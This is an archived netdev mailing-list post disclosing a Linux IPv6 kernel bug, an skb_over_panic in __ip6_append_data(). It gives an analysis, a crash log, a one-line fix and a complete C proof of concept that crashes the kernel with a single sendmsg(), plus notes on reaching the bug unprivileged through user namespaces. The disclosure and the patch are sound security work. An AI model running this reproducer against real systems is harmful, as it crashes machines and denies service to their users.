Netdev List
 help / color / mirror / Atom feed
From: 平之 <treebacker@foxmail.com>
To: netdev <netdev@vger.kernel.org>
Cc: "David S. Miller" <davem@davemloft.net>,
	YOSHIFUJI <yoshfuji@linux-ipv6.org>, Ahern <dsahern@kernel.org>,
	stable <stable@vger.kernel.org>, security <security@kernel.org>
Subject: ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)
Date: Mon, 26 Oct 2026 18:54:50 +0800	[thread overview]
Message-ID: <tencent_B58BAE2F5FF485D1B4F652E9980EAB132A09@qq.com> (raw)

To:      netdev@vger.kernel.org
Cc:      "David S. Miller" <davem@davemloft.net>,
         Hideaki YOSHIFUJI <yoshfuji@linux-ipv6.org>,
         David Ahern <dsahern@kernel.org>,
         stable@vger.kernel.org,
         security@kernel.org
Subject: ipv6: skb_over_panic in __ip6_append_data() when
         mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)

Hi David, Hideaki, David,

While auditing __ip6_append_data() I found that one half of its MTU
guard has been dead code since the initial git import, and that the
window it fails to close allows an unprivileged-triggerable
skb_over_panic (kernel BUG) with a single sendmsg() on a raw IPv6
socket.  Reproduced on Ubuntu 7.3.0-9-generic (aarch64, QEMU virt);
the code is unchanged in v7.4-rc1.

The reproducer is ~170 lines of plain C (libc + kernel uapi headers
only), fully self-contained - it creates its own egress device - and
is inlined in section 6.  A suggested one-line fix is in section 5.

For context: parts of the code audit were AI-assisted, but the
analysis and the crash below are mine, reproduced on a real system.


1. Affected versions
--------------------

The guard and the computation below it exist since 1da177e4c3f4
("Linux-2.6.12-rc2", initial git import, 2005).

Commit 5e34af4142ff ("net: ipv6: fix skb_over_panic in
__ip6_append_data", 2022, syzbot id 205d6f11) fixed the
mtu == fragheaderlen boundary of the first half of the guard, but
left the second half - which is dead code (see below) - untouched.

Still present in v7.4-rc1 (code inspection); reproduced on Ubuntu
7.3.0-9-generic.  I diffed net/ipv6/ip6_output.c between v7.0 and
v7.4-rc1: the relevant expressions are unchanged.


2. Problem description
----------------------

The chain has four steps, all in net/ipv6/ip6_output.c (line numbers
from v7.3-rc5).

(a) Dead guard (:1502-1504):

        fragheaderlen = sizeof(struct ipv6hdr) + rt->rt6i_nfheader_len +
                        (opt ? opt->opt_nflen : 0);      /* >= 40 */

        if (mtu <= fragheaderlen ||
            ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
                goto emsgsize;

The second condition can never be true: (x & ~7) is unsigned and
>= 0, and fragheaderlen >= sizeof(struct ipv6hdr) = 40 >
sizeof(struct frag_hdr) = 8, so the left side is always >= 40 and the
comparison against 8 never fires.  Only the first half
(mtu <= fragheaderlen) actually guards anything.

(b) Underflow (:1506-1507):

        maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
                     sizeof(struct frag_hdr);

For mtu - fragheaderlen in [1,7], (x & ~7) == 0 and

        maxfraglen = fragheaderlen - 8 < fragheaderlen.

(c) Clamp bypass (:1650-1654, inside the fragment loop):

        datalen = length + fraggap;
        if (datalen > (cork->length <= mtu ? mtu : maxfraglen) - fragheaderlen)
                datalen = maxfraglen - fragheaderlen - rt->dst.trailer_len;

cork->length += length runs at :1614, before the loop, so on the
first sendmsg() with a payload larger than mtu the clamp boundary is

        maxfraglen - fragheaderlen = (fragheaderlen - 8) - fragheaderlen
                                   = 0xfffffff8   (unsigned int)

and no realistic datalen is ever greater than it: the clamp never
fires, so fraglen = datalen + fragheaderlen escapes the MTU
constraint entirely.  Note this means a single sendmsg() suffices -
no multi-cork length climbing is needed, because cork->length
already includes the whole payload when the clamp runs.

(d) Allocation mismatch (:1668, :1721):

        if ((flags & MSG_MORE) &&
            !(rt->dst.dev->features & NETIF_F_SG))
                alloclen = mtu;                       /* 1281 */
        ...
        data = skb_put(skb, fraglen - pagedlen);      /* 61280 */

skb_put() detects the overflow (tail 61304 > end 1728) and calls
skb_over_panic() -> BUG().  The overflow is caught before any write,
so this is a kernel BUG / local DoS, not silent memory corruption.


3. Trigger conditions
---------------------

* Raw IPv6 socket (CAP_NET_RAW; obtainable inside a user namespace).
* IPV6_MTU setsockopt = fragheaderlen + [1..7].  net/ipv6/sockglue.c
  only rejects val && val < IPV6_MIN_MTU, so 1281 is accepted.
* A large HOPOPTS cmsg (requires ns_capable(CAP_NET_RAW)):
  hdrlen = 154 gives opt_nflen = (154 + 1) * 8 = 1240, so
  fragheaderlen = 40 + 1240 = 1280 and IPV6_MTU = 1281 puts the
  difference at 1.  The RFC 7112 first-fragment check
  (headersize + transhdrlen > mtu) passes for raw sockets because
  rawv6_sendmsg() passes transhdrlen = 0; UDP (transhdrlen = 8)
  cannot reach this path.
* An egress route whose device does NOT have NETIF_F_SG.  With SG
  the data goes to the paged allocation path and nothing overflows.
  Caveat for reproducers: nlmon looks like an obvious choice but
  does NOT work - nlmon_setup() explicitly sets
  NETIF_F_SG | NETIF_F_FRAGLIST | NETIF_F_HIGHDMA.  SLIP
  (features = 0) works; the reproducer below creates one itself via
  a pty and the N_SLIP line discipline.
* A single sendmsg() with MSG_MORE and a payload larger than mtu.


4. Reproduced crash
-------------------

Ubuntu 7.3.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC, aarch64, QEMU
virt machine, running the reproducer from section 6 as root:

[   37.607813] skbuff: skb_over_panic: text:ffffd5aad9272ba8 len:61280 put:61280 head:ffff00001f736000 data:ffff00001f736018 tail:0xef78 end:0x6c0 dev:<NULL>
[   37.607855] ------------[ cut here ]------------
[   37.607856] kernel BUG at net/core/skbuff.c:214!
[   37.607865] Internal error: Oops - BUG: 00000000f2000800 [#1]  SMP
[   37.611485] CPU: 3 UID: 0 PID: 1378 Comm: ipv6_maxfraglen Not tainted 7.3.0-9-generic #9-Ubuntu PREEMPT(lazy)
[   37.612619] pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)
[   37.612619] pc : skb_panic+0x5c/0x60
[   37.613172] sp : ffff800080ad3430
[   37.614181] x21: 000000000000ea60 x22: 00000000000004f8
[   37.616606] Call trace:
[   37.616606]  skb_panic+0x5c/0x60 (P)
[   37.616778]  skb_put+0x9c/0xa8
[   37.616952]  __ip6_append_data+0xf80/0x1948
[   37.617172]  ip6_append_data+0x94/0x2a8
[   37.617363]  rawv6_sendmsg+0x588/0x988
[   37.617716]  inet_sendmsg+0x4c/0xa8
[   37.617891]  ____sys_sendmsg+0x268/0x308
[   37.618105]  ___sys_sendmsg+0xb4/0x140
[   37.618299]  __sys_sendmsg+0xa8/0x140

The numbers match the analysis exactly:

  put:61280 = 60000 (payload) + 1280 (fragheaderlen)
  tail:0xef78 = 61304 = skb_reserve(24) + 61280
  x21:0xea60 = 60000 (the unclamped payload length still in a register)

Negative control: the same reproducer with IPV6_MTU = 1288
(difference 8, outside [1,7]) does not crash.


5. Suggested fix
----------------

From: bo cao <treebacker@foxmail.com>
Date: Mon, 26 Oct 2026 17:30:00 +0800
Subject: [PATCH] ipv6: fix dead half of the MTU guard in
 __ip6_append_data()

The second half of the MTU guard in __ip6_append_data() has been
dead code since the initial git import:

        if (mtu <= fragheaderlen ||
            ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
                goto emsgsize;

(x & ~7) is unsigned and >= 0, and fragheaderlen >=
sizeof(struct ipv6hdr) = 40 > sizeof(struct frag_hdr) = 8, so the
second condition is always false.  5e34af4142ff ("net: ipv6: fix
skb_over_panic in __ip6_append_data") tightened the first half but
left the dead second half in place.

For mtu - fragheaderlen in [1,7], (x & ~7) == 0, so

        maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - 8

underflows below fragheaderlen.  Every later bound computed as
maxfraglen - fragheaderlen wraps to 0xfffffff8, in particular the
datalen clamp inside the fragment loop, which then never fires:
fraglen escapes the MTU constraint.  With MSG_MORE on an egress
device without NETIF_F_SG, alloclen = mtu while skb_put() is called
with fraglen, so a single sendmsg() on a raw IPv6 socket with a
large HOPOPTS cmsg and IPV6_MTU = fragheaderlen + 1 triggers:

  skbuff: skb_over_panic: len:61280 put:61280 ...
  kernel BUG at net/core/skbuff.c
  skb_put __ip6_append_data ip6_append_data rawv6_sendmsg

Replace the dead expression with a direct check of the payload space
available for a fragment.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: bo cao <treebacker@foxmail.com>
---
 net/ipv6/ip6_output.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c
@@ -1498,7 +1498,7 @@ static int __ip6_append_data(struct sock *sk,
 	headersize = sizeof(struct ipv6hdr) +
 		     (opt ? opt->opt_flen + opt->opt_nflen : 0) +
 		     rt->rt6i_nfheader_len;

 	if (mtu <= fragheaderlen ||
-	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
+	    mtu - fragheaderlen <= sizeof(struct frag_hdr))
 		goto emsgsize;

 	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
-- 
2.x.x

(Line numbers from v7.3-rc5; hard tabs preserved in this message.)

Two notes on the fix:

- ip6_append_data_mtu() recomputes maxfraglen with the same formula
  but is only reached after the entry guard has passed, so fixing
  the guard is sufficient; I left it untouched to keep the patch
  minimal.
- The residual window mtu - fragheaderlen in [9,15] still produces
  zero-payload fragment loops that spin until the socket write
  budget is exhausted (-ENOBUFS) - annoying, but not memory-unsafe.
  If you prefer, the check could reject up to 15 instead of 8 to
  also kill that wart; I kept the minimal form since the memory
  unsafety ends at 8.


6. Reproducer
-------------

Self-contained C program (libc + kernel uapi headers only).  It
creates its own SLIP egress device via a pty and the N_SLIP line
discipline (features = 0, no NETIF_F_SG), configures the route, and
issues the single trigger sendmsg().  Run as root (needs the slip
module; on Ubuntu: modprobe slip).

Build: gcc -O2 -Wall -o poc ipv6_maxfraglen_poc.c
Run:   ./poc            # crashes the kernel

Run on a test system only: on kernels with panic_on_oops this
panics the machine 

// SPDX-License-Identifier: GPL-2.0
/*
 * ipv6_maxfraglen_poc.c - skb_over_panic in __ip6_append_data()
 *
 * A single sendmsg(MSG_MORE) on a raw IPv6 socket triggers:
 *
 *   skbuff: skb_over_panic: len:61280 put:61280 ...
 *   kernel BUG at net/core/skbuff.c (skb_panic)
 *   Call trace: skb_put <- __ip6_append_data <- ip6_append_data
 *               <- rawv6_sendmsg <- __sys_sendmsg
 *
 * Why (net/ipv6/ip6_output.c, unchanged since the 2005 initial import
 * apart from the 2022 mtu == fragheaderlen fix):
 *
 *   fragheaderlen = 40 (ipv6hdr) + opt_nflen (HOPOPTS cmsg)
 *   With mtu - fragheaderlen in [1,7], (x & ~7) == 0, so
 *     maxfraglen = fragheaderlen - 8 < fragheaderlen   (underflow)
 *   The datalen clamp compares against
 *     maxfraglen - fragheaderlen  == 0xfffffff8 (unsigned)
 *   so it never fires: fraglen = payload + fragheaderlen escapes the
 *   MTU constraint.  On a !NETIF_F_SG egress device with MSG_MORE,
 *   alloclen = mtu (1281) but skb_put(fraglen = 61280) -> panic.
 *
 * Trigger values used here:
 *   IPV6_MTU = 1281, HOPOPTS hdrlen = 154 -> opt_nflen = 1240
 *   fragheaderlen = 1280, mtu - fragheaderlen = 1  (inside [1,7])
 *
 * The egress device must NOT have NETIF_F_SG (with SG the data goes
 * to the paged path and nothing overflows; nlmon has SG and does not
 * work).  This PoC creates its own SLIP device (features = 0) via a
 * pty with the N_SLIP line discipline.
 *
 * Build: gcc -O2 -Wall -o poc ipv6_maxfraglen_poc.c
 * Run:   ./poc      (root; requires the slip module: modprobe slip)
 *
 * Negative control: change MTU_VAL to 1288 (difference 8, outside the
 * window) - the same program returns quietly, no crash.
 */
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#ifdef __linux__
#include <linux/tty.h>
#endif

#ifndef IPV6_MTU
#define IPV6_MTU 24
#endif
#ifndef TIOCSETD
#define TIOCSETD 0x5423
#endif
#ifndef N_SLIP
#define N_SLIP 1
#endif
#ifndef IPV6_HOPOPTS
#define IPV6_HOPOPTS 3
#endif
#ifndef MSG_MORE
#define MSG_MORE 0x8000
#endif

#define MTU_VAL    1281                 /* fragheaderlen + 1 */
#define HBH_LEN    1240                 /* (154 + 1) * 8 */
#define DST_ADDR   "2001:db8:dead::1"

/* find the slX device created by the N_SLIP line discipline */
static int find_slipdev(char *buf, size_t sz)
{
	struct dirent *e;
	DIR *d = opendir("/sys/class/net");

	buf[0] = 0;
	if (!d)
		return 0;
	while ((e = readdir(d)))
		if (!strncmp(e->d_name, "sl", 2) && e->d_name[2] >= '0' &&
		    e->d_name[2] <= '9') {
			snprintf(buf, sz, "%s", e->d_name);
			break;
		}
	closedir(d);
	return buf[0] != 0;
}

int main(void)
{
	static char payload[60000];
	static char cbuf[CMSG_SPACE(HBH_LEN)];
	struct sockaddr_in6 dst = { .sin6_family = AF_INET6 };
	struct msghdr msg = { 0 };
	struct cmsghdr *cmsg;
	unsigned char *hbh;
	char dev[IFNAMSIZ], cmd[256];
	int fd, mtu = MTU_VAL, sfd, mfd, ldisc = N_SLIP;

	/* 1. egress device without NETIF_F_SG: SLIP via pty + TIOCSETD */
	if (system("modprobe slip 2>/dev/null") != 0)
		fprintf(stderr, "modprobe slip failed, continuing anyway\n");

	mfd = posix_openpt(O_RDWR | O_NOCTTY);
	if (mfd < 0 || grantpt(mfd) < 0 || unlockpt(mfd) < 0) {
		perror("posix_openpt");
		return 1;
	}
	sfd = open(ptsname(mfd), O_RDWR | O_NOCTTY);
	if (sfd < 0) {
		perror("open pty slave");
		return 1;
	}
	if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
		perror("TIOCSETD(N_SLIP) - is the slip module loaded?");
		return 1;
	}
	if (!find_slipdev(dev, sizeof(dev))) {
		fprintf(stderr, "no sl* device appeared\n");
		return 1;
	}
	printf("[+] egress device: %s (slip, features = 0, no NETIF_F_SG)\n", dev);

	snprintf(cmd, sizeof(cmd), "ip link set %s mtu 1500 up", dev);
	system(cmd);
	snprintf(cmd, sizeof(cmd),
		 "ip -6 addr add 2001:db8:beef::1/64 dev %s 2>/dev/null", dev);
	system(cmd);
	snprintf(cmd, sizeof(cmd),
		 "ip -6 route replace 2001:db8:dead::/64 dev %s", dev);
	system(cmd);

	/* 2. raw IPv6 socket, cork MTU inside the [1,7] window */
	fd = socket(AF_INET6, SOCK_RAW, 253);
	if (fd < 0) {
		perror("socket(SOCK_RAW)");
		return 1;
	}
	if (setsockopt(fd, IPPROTO_IPV6, IPV6_MTU, &mtu, sizeof(mtu)) < 0) {
		perror("setsockopt(IPV6_MTU)");
		return 1;
	}

	/* 3. HOPOPTS cmsg: hdrlen = 154 -> opt_nflen = 1240
	 *    (all-zero payload bytes are Pad1 options) */
	memset(cbuf, 0, sizeof(cbuf));
	cmsg = (struct cmsghdr *)cbuf;
	cmsg->cmsg_level = IPPROTO_IPV6;
	cmsg->cmsg_type  = IPV6_HOPOPTS;
	cmsg->cmsg_len   = CMSG_LEN(HBH_LEN);
	hbh = (unsigned char *)CMSG_DATA(cmsg);
	hbh[0] = 0;                         /* nexthdr */
	hbh[1] = 154;                       /* hdrlen */

	if (inet_pton(AF_INET6, DST_ADDR, &dst.sin6_addr) != 1) {
		perror("inet_pton");
		return 1;
	}
	msg.msg_name       = &dst;
	msg.msg_namelen    = sizeof(dst);
	msg.msg_iov        = &(struct iovec){ payload, sizeof(payload) };
	msg.msg_iovlen     = 1;
	msg.msg_control    = cbuf;
	msg.msg_controllen = sizeof(cbuf);

	printf("[*] IPV6_MTU = %d, fragheaderlen = 1280, difference = 1\n",
	       MTU_VAL);
	printf("[*] sendmsg(MSG_MORE, 60000) - expect skb_over_panic\n");
	fflush(stdout);

	/* 4. one syscall is enough: cork->length already includes the
	 *    full payload when the clamp runs, so it is bypassed */
	if (sendmsg(fd, &msg, MSG_MORE) < 0)
		fprintf(stderr, "[!] sendmsg returned %d (%s) - not triggered\n",
			errno, strerror(errno));

	/* sfd stays open: closing it would destroy the slip device */
	return 2;
}


7. Unprivileged variant
-----------------------

The trigger itself only needs CAP_NET_RAW and a non-SG egress device,
both of which an unprivileged user can obtain inside a user + network
namespace (unshare -Urn), provided the slip module is already loaded
in the host kernel (module autoload is not possible from inside a
user namespace).  I verified the code paths (sockglue.c accepts
IPV6_MTU; datagram.c checks ns_capable(net->user_ns, CAP_NET_RAW)
for the HOPOPTS cmsg) but ran the reproducer above as root.


Thanks,
bo cao

             reply	other threads:[~2026-10-26 10:54 UTC|newest]

Thread overview: 6+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-26 10:54 平之 [this message]
2026-10-26 11:46 ` ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12) Greg KH
     [not found]   ` <tencent_7454E65EE7BD1C085B6951A7D2305157370A@qq.com>
     [not found]     ` <2026102658-jockey-volley-94ff@gregkh>
2026-10-26 12:53       ` [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data() 平之
2026-10-26 12:56         ` netdev-bot+sinfo
2026-10-26 15:12         ` Willem de Bruijn
2026-10-26 15:19         ` Willem de Bruijn

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=tencent_B58BAE2F5FF485D1B4F652E9980EAB132A09@qq.com \
    --to=treebacker@foxmail.com \
    --cc=davem@davemloft.net \
    --cc=dsahern@kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=security@kernel.org \
    --cc=stable@vger.kernel.org \
    --cc=yoshfuji@linux-ipv6.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox